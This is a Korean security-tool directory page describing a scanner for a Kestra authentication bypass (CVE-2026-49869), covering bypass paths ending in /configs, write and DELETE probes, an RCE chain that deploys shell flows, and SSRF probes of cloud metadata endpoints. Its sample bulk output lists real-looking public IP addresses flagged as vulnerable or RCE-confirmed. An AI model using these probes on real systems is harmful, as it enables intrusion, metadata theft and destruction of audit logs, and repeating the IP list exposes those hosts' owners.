Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49869 — Kestra 인증 우회 취약점 점검기 | Kitploit
도구/GitHubGitHub/ap0dexme0/cve-2026-49869
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingCommand and ControlAuthentication
GitHubap0dexme0/cve-2026-49869

CVE-2026-49869

Kestra 인증 우회 취약점 점검기

저장소 보기
11283개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Kestra CVE-2026-49869 / CVE-2026-53576 스캐너

Kestra 인스턴스에서 endsWith("/configs") 인증 필터 우회를 검색합니다. Kestra의 AuthenticationFilter.java는 정확한 경로 /api/v1/configs 대신 request.getPath().endsWith("/configs")를 확인합니다. Kestra는 호출자가 선택한 경로 세그먼트(네임스페이스, 플로우 ID)를 통해 리소스를 주소 지정하므로 /configs로 끝나는 모든 경로가 Basic-Auth를 우회하여 인증되지 않은 플로우 생성 및 RCE를 가능하게 합니다. (CVSS 10.0)

참고:

  • GHSA-5vc5-wxxq-3fjx
  • TP-2026-009
  • CVE-2026-49869 부적절한 인증 / OS 명령 삽입 / 허용되지 않은 입력의 불완전한 목록
  • CVE-2026-53576

탐지 로직

  1. 활성 상태 + 버전 확인 GET /api/v1/configs (200 반환 필요; 응답 본문에서 Kestra 버전 파싱)
  2. 인증 확인 GET /api/v1/{tenant}/flows (인증이 적용된 경우 401/403 반환해야 함)
  3. 우회 프로브 /configs로 끝나는 경로에 6개의 GET 요청; 인증 확인이 적용되는 동안 어떤 것이 401/403이 아닌 응답을 반환하면 인스턴스가 취약함
  4. 공격 모드 (--aggressive) 또한 PUT 요청을 보내 쓰기 우회 능력을 확인합니다
  5. RCE 검증 (--rce) 전체 체인: 셸/파이썬 플로우 생성 → 실행 트리거 → 로그 검색 → 코드 실행 확인 → 정리
  6. SSRF 탐지 (--ssrf) Pebble의 http()를 사용하여 AWS/GCP/Azure 클라우드 메타데이터 및 내부 엔드포인트를 대상으로 하는 플로우를 생성한 후 로그에서 증거를 확인합니다
  7. DELETE 프로브 (--destructive) 플로우, 대시보드 및 로그 우회 경로에 DELETE를 보내 파괴적 작업 우회를 확인합니다

프로브 엔드포인트

안전한 프로브 (기본값)

프로브메서드경로설명
공개 설정GET/api/v1/configs활성 상태 확인 + 버전 추출
보호된 일반GET/api/v1/{tenant}/flows인증 적용 기준
플로우 우회GET/api/v1/{tenant}/flows/{namespace}/configs플로우 목록 우회
실행 우회GET/api/v1/{tenant}/executions/{namespace}/configs실행 우회
KV 저장소 우회GET/api/v1/{tenant}/namespaces/{namespace}/kv/configsKV 읽기 우회
대시보드 우회GET/api/v1/{tenant}/dashboards/configs대시보드 우회
로그 우회GET/api/v1/{tenant}/logs/{namespace}/configs로그 접근 우회
템플릿 우회GET/api/v1/{tenant}/templates/{namespace}/configs템플릿 읽기 우회

공격적 프로브 (--aggressive)

프로브메서드경로설명
플로우 PUT 우회PUT플로우 우회와 동일최소 debug.Return 플로우 생성
KV PUT 우회PUTKV 우회와 동일KV 항목 {"scanned": true} 생성

파괴적 프로브 (--destructive)

프로브메서드경로설명
플로우 DELETE 우회DELETE플로우 우회와 동일이름이 "configs"인 리소스 삭제
대시보드 DELETE 우회DELETE대시보드 우회와 동일이름이 "configs"인 대시보드 삭제
로그 DELETE 우회DELETE로그 우회와 동일감사 로그 파괴

RCE 검증 체인 (--rce)

인증 우회가 확인된 경우에만 실행됩니다. 권고에서의 전체 체인:

단계메서드경로설명
1. RCE 플로우 생성PUT/api/v1/{tenant}/flows/{namespace}/configsio.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname)를 사용하여 플로우를 배포합니다. 실패 시 io.kestra.plugin.scripts.python.Script로 대체합니다.
2. 실행 트리거POST/api/v1/{tenant}/executions/{namespace}/configs우회 경로를 통해 플로우를 시작합니다
3. 로그 폴링GET/api/v1/{tenant}/logs/search?executionId=<id>고유 RCE 마커를 찾기 위해 --poll-interval초(기본값 3)마다 최대 --poll-retries회(기본값 10) 폴링합니다
4. 정리DELETE1단계와 동일배포된 플로우를 제거합니다

SSRF 탐지 체인 (--ssrf)

인증 우회가 확인된 경우에만 실행됩니다:

단계메서드경로설명
1. SSRF 플로우 생성PUT/api/v1/{tenant}/flows/{namespace}/configsAWS(169.254.169.254/latest/meta-data/ami-id), GCP(metadata.google.internal), Azure(169.254.169.254/metadata/instance) 및 내부(127.0.0.1:8080/api/v1/configs)에 Pebble http() 호출이 있는 debug.Return 태스크를 배포합니다
2. 실행 트리거POSTRCE 2단계와 동일플로우를 트리거합니다
3. 로그 폴링GET/api/v1/{tenant}/logs/search?executionId=<id>클라우드 메타데이터 표시기(ami-, i-, 169.254.169.254, metadata.google.internal 등)를 확인합니다
4. 정리DELETE1단계와 동일배포된 플로우를 제거합니다

CLI 참조

positional:
  target                          단일 대상 URL (예: http://localhost:8080)

options:
  -f, --file                      대상이 포함된 파일 (한 줄에 하나)
  -t, --timeout                   요청 제한 시간(초) (기본값: 10)
  --verify-ssl                    TLS 인증서 확인
  -j, --json                      JSON을 표준 출력으로 출력
  -o, --output                    JSON 보고서를 파일에 쓰기
  --tenant                        테넌트 이름 (기본값: "main")
  --namespace                     우회 경로의 네임스페이스 (기본값: "tutorial")
  -w, --workers                   벌크 스캔의 스레드 수 (기본값: 10)
  -a, --aggressive                PUT 요청을 보내 쓰기 우회 확인
  -P, --auto-ports                자동 확장을 위한 포트 (기본값: 8080 8081 8088 8091 80 443)

advanced probes:
  -r, --rce                       RCE 검증 체인 활성화 (셸 + 파이썬 플로우,
                                   실행 트리거, 로그 검색, 자동 정리)
  -s, --ssrf                      SSRF 탐지 활성화 (Pebble http()로 클라우드 메타데이터
                                   엔드포인트, 로그 기반 증거 수집)
  -d, --destructive               플로우, 대시보드 및 로그에 대한 DELETE 프로브 활성화
                                   (취약한 인스턴스에서 리소스를 삭제합니다)
  --poll-interval                 RCE/SSRF 체인을 위한 로그 폴링 간격(초) (기본값: 3)
  --poll-retries                  RCE/SSRF 체인을 위한 최대 로그 폴링 시도 횟수 (기본값: 10)

출력

단일 대상

각 프로브별 전체 분석과 보강 정보(버전, RCE, SSRF, DELETE 상태) 및 결과:

====================================================================
  Target:    http://10.0.0.1:8080
  Timestamp: 2026-06-30T12:00:00+00:00
====================================================================

  Version:      1.3.20 (AFFECTED)
  RCE:          CONFIRMED via shell
    | SCAN_RCE_a1b2c3d4e5f6
    | uid=0(root) gid=0(root) groups=0(root)
  SSRF:         DETECTED
    | Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
  DELETE BYPASS: CONFIRMED destructive ops bypass auth

  [Flows Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Status:       200
    Bypass:      YES

  [Exec Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Status:       404
    Bypass:      No

  ...

  ── RCE Verification Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Log Evidence: 200
      > SCAN_RCE_a1b2c3d4e5f6
      > uid=0(root) gid=0(root) groups=0(root)
    Flow Cleanup: 204

  ── SSRF Detection Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Evidence: 200
      Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
    Flow Cleanup: 204

  [VULN]  Verdict: VULNERABLE ...
====================================================================

벌크 요약

RCE/SSRF/DEL 플래그 열이 있는 정렬된 표 형식:

========================================================================================================================================
  BULK SCAN SUMMARY   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
  #    Target                          Auth   Flows  Exec   KV     Dash   Logs   Tmpl   RCE    SSRF   DEL    Ver
  ---------------------------------------------------------------------------------------------------------------------------------------
  1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    YES    YES    YES    RCE!
  2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    INC    -      YES    VULN
  ...
  30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      SAFE
  ...
========================================================================================================================================
  Total: 258  |  Vulnerable: 5  |  RCE Confirmed: 1  |  SSRF Detected: 1  |  DEL Bypass: 2  |  Safe: 29  |  Inconclusive: 224
========================================================================================================================================

종료 코드: 0 = 취약점 없음, 1 = 취약점 발견, 2 = 모두 불확실.

JSON 보고서

-j 또는 -o를 사용하면 출력에 대상별 보강 필드가 포함됩니다:

도구 다운로드